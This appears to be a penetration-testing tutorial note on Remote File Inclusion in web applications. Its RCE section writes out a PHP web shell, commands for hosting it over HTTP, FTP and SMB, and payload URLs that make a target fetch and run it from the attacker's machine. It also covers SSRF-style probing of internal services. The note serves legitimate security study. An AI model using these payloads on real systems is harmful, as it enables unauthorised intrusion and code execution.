Remote File Inclusion (RFI)
What it is
Remote File Inclusion is when a vulnerable sink can load resources from remote URLs (not just local paths). That enables:
- SSRF-style effects — reach localhost or internal ports/apps by including
http://127.0.0.1:PORT/...(enumerating services the server can see). - Remote code execution — host a malicious script in the app’s language and include it so the server fetches and executes it (when the primitive executes code, not only reads bytes).
The Server-side Attacks / SSRF material applies in parallel: RFI often doubles as a server-initiated HTTP client you control.
LFI vs RFI
- RFI ⇒ usually LFI — APIs that allow
http:///ftp:/// UNC paths typically also allow local paths. - LFI ⇏ RFI — RFI may be impossible because:
- The API does not allow URL wrappers (no remote schemes).
- You only control part of the path and cannot set
http://,https://,ftp://, etc. - Configuration disables remote inclusion (common by default).
Some functions fetch remote URLs but do not execute code (e.g. read-only file_get_contents in PHP, @Html.RemotePartial() read path in .NET per common teaching tables). Those cases still support SSRF / content leakage, not RCE via inclusion execution.
Execution-capable examples (when misused) include PHP include / include_once, Java import-style remote resolution, .NET include with remote partials, etc.—always verify per runtime and version.
Verifying RFI
- Config (PHP) —
allow_url_includemust be On for classic PHP URL includes. You can try to readphp.inivia LFI (e.g. Base64 path from prior notes) andgrep allow_url_include; this can be misleading if the vulnerable call path still blocks URLs. - Behavioral test (reliable) — Pass a URL and see if content is pulled and processed. Start with a local URL to reduce firewall/WAF noise, e.g.
http://127.0.0.1:80/index.php.- If the page executes (rendered PHP), the sink likely executes included PHP → RCE via hosted shell is plausible.
- If other local apps listen on 8080, etc., try those ports for internal recon (SSRF via inclusion).
- Caution — Including the same script that performs the include can cause recursive inclusion and DoS the app; prefer a small static test resource when probing.
RCE workflow (PHP-style)
- Write a minimal web shell, e.g.
<?php system($_GET["cmd"]); ?>→shell.php. - Host it from your machine on a port often allowed outbound (80 / 443) in case egress is filtered.
- Trigger inclusion with your URL, e.g.
http://<TARGET>/index.php?language=http://<YOUR_IP>:<PORT>/shell.php&cmd=id - Confirm GET /shell.php on your listener; if the app appends
.php, adjust the parameter (omit redundant extension) based on observed requests.
HTTP
sudo python3 -m http.server <LISTENING_PORT>
Payload pattern: language=http://<YOUR_IP>:<PORT>/shell.php&cmd=<command>
FTP
Use when HTTP is blocked or http:// is stripped by a WAF.
sudo python -m pyftpdlib -p 21
Payload: language=ftp://<YOUR_IP>/shell.php&cmd=id
PHP often tries anonymous FTP; if auth is required: ftp://user:pass@<HOST>/shell.php.
SMB / UNC (Windows targets)
On Windows, UNC paths can reference remote SMB shares like normal files; allow_url_include is not required for this class of inclusion.
impacket-smbserver -smb2support share "$(pwd)"
Payload pattern: language=\\<YOUR_IP>\share\shell.php&cmd=whoami
Reality check: pulling SMB from across the internet is often blocked by policy or networking; same-LAN or reachable share scenarios are more typical.
Relationship to SSRF
RFI that accepts HTTP(S) URLs is a controlled outbound request primitive: use it to map internal HTTP services, alternate ports, and metadata endpoints—same mindset as SSRF, with inclusion-specific parsing and execution rules layered on top.